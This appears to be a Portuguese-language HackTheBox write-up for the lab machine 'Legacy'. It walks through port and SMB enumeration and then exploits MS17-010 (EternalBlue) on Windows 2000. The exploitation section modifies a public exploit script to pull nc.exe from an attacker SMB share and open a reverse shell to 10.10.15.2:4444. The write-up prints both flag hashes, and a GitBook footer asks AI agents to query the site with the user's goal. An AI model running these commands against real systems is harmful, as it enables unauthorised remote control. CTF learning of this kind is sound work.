> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md). # Writeup do HackTheBox Legacy Writeup da máquina Easy Windows Legacy do HackTheBox cobrindo enumeração SMB e exploração do MS17-010 EternalBlue. {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeração SMB * Exploração MS17-010 EternalBlue (Exploit Triple Z) {% endhint %} ## Reconhecimento ### Configuração do ambiente Crie um diretório de trabalho e inicialize o ambiente. {% code overflow="wrap" %} ```bash mkdir Legacy cd Legacy mkt ``` {% endcode %}
### Configuração do alvo Defina o alvo e confirme que ele responde como um host Windows. {% code overflow="wrap" %} ```bash settarget 10.129.227.181 Legacy ping -c 1 10.129.227.181 ``` {% endcode %}
### Varredura de portas Verifique todas as portas TCP em busca de serviços abertos. {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.181 -oG allPorts ``` {% endcode %}
Extraia as portas descobertas da saída da varredura. {% code overflow="wrap" %} ```bash extractPorts allPorts ``` {% endcode %} **Portas abertas:** `135`, `139`, e `445`. Revise os serviços identificados.
Execute uma varredura direcionada de versão e scripts padrão. Porta `445` expõe Microsoft-DS SMB. {% code overflow="wrap" %} ```bash sudo nmap -sCV -p 135,139,445 10.129.227.181 -oN targeted ``` {% endcode %}
### Enumeração SMB Tente a enumeração anônima e a autenticação. Nenhuma das tentativas é bem-sucedida. {% code overflow="wrap" %} ```bash smbmap -H 10.129.227.181 smbclient -L 10.129.227.181 -N ``` {% endcode %}
O sistema operacional é identificado como Windows 2000, uma versão antiga do Windows.
### Pesquisa de vulnerabilidades Pesquise exploits públicos de SMB que afetem o Windows 2000: `exploit smb Windows 2000 LAN Manager github` Vários scripts públicos visam vulnerabilidades nesta versão legada do Windows.
Use este recurso do Exploit-DB para a vulnerabilidade EternalBlue do Windows. {% embed url="" %} Valide a vulnerabilidade com uma varredura de script do Nmap. {% code overflow="wrap" %} ```bash nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan ``` {% endcode %} A varredura confirma que o alvo é vulnerável.
### Exploração Use o seguinte projeto MS17-010. {% embed url="" %} Edite o `zzzz` arquivo. Comente a seguinte linha: {% code overflow="wrap" %} ```bash #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') ``` {% endcode %} Copie `nc.exe` para o diretório de trabalho. {% code overflow="wrap" %} ```bash cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . ``` {% endcode %} Compartilhe o diretório atual via SMB para transferir o binário. {% code overflow="wrap" %} ```bash smbserver.py share $(pwd) -smb2support ``` {% endcode %}
Atualize o script com o caminho SMB e o comando de shell reversa abaixo. ### Shell reversa Inicie um listener na porta `4444`. {% code overflow="wrap" %} ```bash rlwrap nc -nvlp 4444 ``` {% endcode %} Substitua o comando no script por: {% code overflow="wrap" %} ```bash service_exec(conn, r'cmd.exe /c copy \\10.10.15.2\share\nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe -e cmd.exe 10.10.15.2 4444') ``` {% endcode %}
### Flags Recupere a flag do usuário. {% code overflow="wrap" %} ```bash type "C:\Documents and Settings\john\Desktop\user.txt" ``` {% endcode %} * e69af0e4f443de7e36876fda4ec7644f O shell também fornece acesso à flag de Administrador. {% code overflow="wrap" %} ```bash type "C:\Documents and Settings\Administrator\Desktop\root.txt" ``` {% endcode %} * 993442d258b0e0ec917cae9e695d5713
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.